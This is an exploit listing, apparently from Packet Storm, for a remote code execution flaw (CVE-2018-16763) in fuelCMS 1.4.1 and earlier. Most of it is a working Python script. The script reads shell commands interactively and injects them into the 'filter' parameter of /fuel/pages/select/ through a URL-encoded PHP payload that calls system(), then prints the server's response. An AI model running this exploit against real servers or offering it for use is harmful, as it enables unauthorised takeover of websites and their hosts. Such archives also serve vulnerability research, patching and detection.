fuelCMS 1.4.1 Remote Code Execution

fuelCMS versions 1.4.1 and below suffer from a remote code execution vulnerability.


MD5 | a5a4dc9ae500263d43df8a50510e2e75

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# Exploit Title: fuelCMS 1.4.1 - Remote Code Execution
# Date: 2019-07-19
# Exploit Author: 0xd0ff9
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu - Apache2 - php5
# CVE : CVE-2018-16763


import requests
import urllib

url = "http://127.0.0.1:8881"
def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while 1:
  xxxx = raw_input('cmd:')
  burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
  proxy = {"http":"http://127.0.0.1:8080"}
  r = requests.get(burp0_url, proxies=proxy)

  html = "<!DOCTYPE html>"
  htmlcharset = r.text.find(html)

  begin = r.text[0:20]
  dup = find_nth_overlapping(r.text,begin,2)

  print r.text[0:dup]

Source: packetstormsecurity.com
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